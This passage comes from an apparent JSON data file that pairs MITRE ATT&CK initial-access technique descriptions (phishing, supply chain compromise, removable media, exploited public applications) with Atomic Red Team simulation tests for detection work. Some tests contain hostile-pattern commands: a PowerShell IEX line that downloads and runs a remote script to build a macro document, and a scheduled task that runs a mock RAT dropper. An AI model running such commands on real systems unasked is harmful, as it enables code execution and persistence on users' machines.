- "source_name": "Trend Micro Pawn Storm OAuth 2017",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
- "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
- }
- ],
- "modified": "2020-03-02T19:21:35.153Z",
- "name": "Spearphishing Link",
- "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1566.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Office 365",
- "SaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther",
- "Shailesh Tiwary (Indian Army)",
- "Mark Wee",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Kobi Haimovich, CardinalOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
- "created": "2020-03-02T19:15:44.182Z",
- "x_mitre_version": "2.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1566.002",
- "url": "https://attack.mitre.org/techniques/T1566/002"
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- },
- {
- "source_name": "Trend Micro Pawn Storm OAuth 2017",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
- "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
- },
- {
- "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021",
- "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/",
- "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021."
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/163.html",
- "source_name": "capec",
- "external_id": "CAPEC-163"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). \n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)",
- "modified": "2022-04-19T15:07:40.623Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Spearphishing Link",
- "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1566.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
- "type": "attack-pattern",
- "created": "2020-03-02T19:05:18.137Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1566.001",
- "url": "https://attack.mitre.org/techniques/T1566/001"
- },
- {
- "external_id": "CAPEC-163",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/163.html"
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- },
- {
- "source_name": "Elastic - Koadiac Detection with EQL",
- "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
- "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
- }
- ],
- "modified": "2021-10-18T17:39:12.452Z",
- "name": "Phishing: Spearphishing Attachment",
- "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content"
- ],
- "identifier": "T1566.001"
- },
- "atomic_tests": [
- {
- "name": "Download Macro-Enabled Phishing Attachment",
- "auto_generated_guid": "114ccff9-ae6d-4547-9ead-4cd69f687306",
- "description": "This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.\nThe file \"PhishingAttachment.xlsm\" is downloaded to the %temp% directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm\n",
- "name": "powershell",
- "cleanup_command": "Remove-Item $env:TEMP\\PhishingAttachment.xlsm -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Word spawned a command shell and used an IP address in the command line",
- "auto_generated_guid": "cbb6799a-425c-4f83-9194-5447a909d67f",
- "description": "Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.\nUpon execution, CMD will be launched and ping 8.8.8.8.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "jse_path": {
- "description": "Path for the macro to write out the \"malicious\" .jse file\n",
- "type": "string",
- "default": "C:\\Users\\Public\\art.jse"
- },
- "ms_product": {
- "description": "Maldoc application Word or Excel",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n Shell`$ `\"ping 8.8.8.8`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
- "cleanup_command": "Remove-Item #{jse_path} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1195.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef",
- "created": "2020-03-11T14:28:40.064Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1195.003",
- "url": "https://attack.mitre.org/techniques/T1195/003"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
- "modified": "2022-04-28T16:05:10.755Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Compromise Hardware Supply Chain",
- "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Sensor Health: Host Status"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1091": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:08.977Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1091",
- "external_id": "T1091"
- }
- ],
- "modified": "2021-07-20T02:18:04.581Z",
- "name": "Replication Through Removable Media",
- "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Drive: Drive Creation",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
- ],
- "identifier": "T1091"
- },
- "atomic_tests": [
- {
- "name": "USB Malware Spread Simulation",
- "auto_generated_guid": "d44b7297-622c-4be8-ad88-ec40d7563c75",
- "description": "Simulates an adversary copying malware to all connected removable drives. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "command": "$RemovableDrives=@()\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nwrite-host \"Removable Drive Found:\" $Drive\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \"file\" -Force -Value \"T1091 Test 1 has created this file to simulate malware spread to removable drives.\"\n}\n",
- "cleanup_command": "$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nRemove-Item -Path $Drive\\T1091Test1.txt -Force -ErrorAction Ignore\n}\n"
- }
- }
- ]
- },
- "T1195": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Veeral Patel"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1195",
- "url": "https://attack.mitre.org/techniques/T1195"
- },
- {
- "source_name": "Avast CCleaner3 2018",
- "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
- "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."
- },
- {
- "source_name": "Command Five SK 2011",
- "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
- "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."
- },
- {
- "source_name": "IBM Storwize",
- "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E",
- "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019."
- },
- {
- "source_name": "Symantec Elderwood Sept 2012",
- "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
- "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."
- },
- {
- "source_name": "Schneider Electric USB Malware",
- "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/",
- "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019."
- },
- {
- "source_name": "Trendmicro NPM Compromise",
- "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets",
- "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."
- },
- {
- "source_name": "Microsoft Dofoil 2018",
- "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
- "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/437.html",
- "source_name": "capec",
- "external_id": "CAPEC-437"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/438.html",
- "source_name": "capec",
- "external_id": "CAPEC-438"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/439.html",
- "source_name": "capec",
- "external_id": "CAPEC-439"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)",
- "modified": "2022-04-28T16:03:22.870Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Supply Chain Compromise",
- "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Metadata",
- "Sensor Health: Host Status"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1195"
- },
- "atomic_tests": [
- {
- "name": "Octopus Scanner Malware Open Source Supply Chain",
- "auto_generated_guid": "82a9f001-94c5-495e-9ed5-f530dbded5e2",
- "description": "This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db\n[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)\n[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "rat_payload": {
- "description": "RAT dropper ExplorerSync.db",
- "type": "path",
- "default": "$env:TEMP\\ExplorerSync.db"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "ExplorerSync.db must exist on disk at specified location (#{rat_payload})\n",
- "prereq_command": "if (Test-Path #{rat_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Out-File -FilePath \"#{rat_payload}\"\n"
- }
- ],
- "executor": {
- "command": "copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\n",
- "cleanup_command": "schtasks /delete /tn ExplorerSync /F 2>null\ndel %temp%\\..\\Microsoft\\ExplorerSync.db 2>null\ndel %temp%\\ExplorerSync.db 2>null\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1190": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Network",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yossi Weizman, Azure Defender Research Team",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1190",
- "url": "https://attack.mitre.org/techniques/T1190"
- },
- {
- "source_name": "CWE top 25",
- "url": "https://cwe.mitre.org/top25/index.html",
- "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019."
- },
- {
- "source_name": "CIS Multiple SMB Vulnerabilities",
- "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
- "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018."
- },
- {
- "source_name": "NVD CVE-2016-6662",
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
- "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018."
- },
- {
- "source_name": "NVD CVE-2014-7169",
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
- "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "OWASP Top 10",
- "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project",
- "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018."
- },
- {
- "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
- "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
- "modified": "2022-04-19T17:06:53.032Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Exploit Public-Facing Application",
- "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Application Log: Application Log Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
- "type": "attack-pattern",
- "created": "2020-03-13T20:15:31.974Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.001",
- "url": "https://attack.mitre.org/techniques/T1078/001"
- },
- {
- "external_id": "CAPEC-70",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/70.html"
- },
- {
- "source_name": "Microsoft Local Accounts Feb 2019",
